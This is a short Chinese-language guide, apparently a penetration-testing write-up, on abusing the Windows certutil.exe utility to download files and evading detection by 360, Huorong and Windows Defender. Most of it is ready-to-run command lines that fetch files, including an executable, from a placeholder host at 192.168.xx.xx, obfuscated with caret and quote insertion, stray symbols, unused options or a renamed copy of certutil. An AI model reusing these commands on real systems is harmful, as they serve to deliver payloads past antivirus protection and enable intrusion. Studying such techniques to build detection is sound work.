探究certutil在杀软中的绕过实践
字数 688 2025-08-24 16:48:15
Certutil在杀软绕过实践指南
1. 简介
Certutil.exe是Windows系统自带的证书服务命令行程序,主要用于证书颁发机构配置信息的转储和显示,验证证书、密钥对和证书链等。但在渗透测试中,它常被用作文件下载工具,因为它是系统自带的白名单程序。
2. 基本下载命令
Certutil下载文件的基本命令格式:
certutil -urlcache -split -f http://xxx.com/xx.exe
参数说明:
-urlcache:显示或删除URL缓存条目-f:覆盖现有文件(后面跟下载的文件地址)-split:保存文件(加此参数下载到当前路径,不加则下载到默认路径)
3. 绕过杀软检测的技术
3.1 360核晶模式绕过
默认命令会被拦截,测试发现以下方法有效:
-
使用特殊符号组合:
;,@certutil&&;,@certutil -u""r""l""c""a""c""h""e"" -split -f http://192.168.xx.xx:7000/test.txt;,certutil;, /⸿⸿⸿split;,-urlcache -f http://192.168.xx.xx:7000/test.txt -
使用无值命令选项(从certutil帮助说明中发现):
;,@certutil -u""r""l""c""a""c""h""e"" -split -f http://192.168.xx.xx:7000/a.exe -DeleteHelloContainer;,@certutil -u""r""l""c""a""c""h""e"" -split -f http://192.168.xx.xx:7000/a.exe -deleteEnrollmentServer;,@certutil -u""r""l""c""a""c""h""e"" -split -f http://192.168.xx.xx:7000/a.exe -deletePolicyServer;,@certutil -u""r""l""c""a""c""h""e"" -split -f http://192.168.xx.xx:7000/a.exe -deleteEccCurve这些命令会生成以选项为名的缓存文件,需要后续还原。
3.2 火绒绕过
默认命令会被拦截,测试发现以下方法有效:
-
参数变形(使用^和"符号):
cer^t^u^til -url""""cache -a -sp""""lit -f http://192.168.xx.xx:8080/xx.txt -
复制并重命名certutil:
copy c:\windows\system32\certutil.exe a.exe a.exe -urlcache -split -f http://192.168.xx.xx:7000/gdut.txt
3.3 Defender绕过
默认命令会被拦截,测试发现以下方法有效:
-
使用^和"组合:
certutil -url""""cache -split -f http://192.168.xx.xx:7070/test.txtcert^u^t^il -url""""cache -sp""""lit -f http://192.168.xx.xx:7070/test.txt -
对于复制重命名后的程序:
b.exe -url""""ca^c^he -spl""""it -f http://192.168.xx.xx:7070/test.txt
4. 总结
不同杀软对certutil的检测机制不同,需要采用不同的绕过技术:
- 360核晶模式:对命令语法检测严格,需要使用特殊符号组合或添加无值命令选项
- 火绒:可以通过参数变形或复制重命名程序绕过
- Defender:主要检测命令参数,使用^和"符号组合有效
5. 参考
- Microsoft certutil官方文档
- 实际测试环境:360核晶模式、火绒、Windows Defender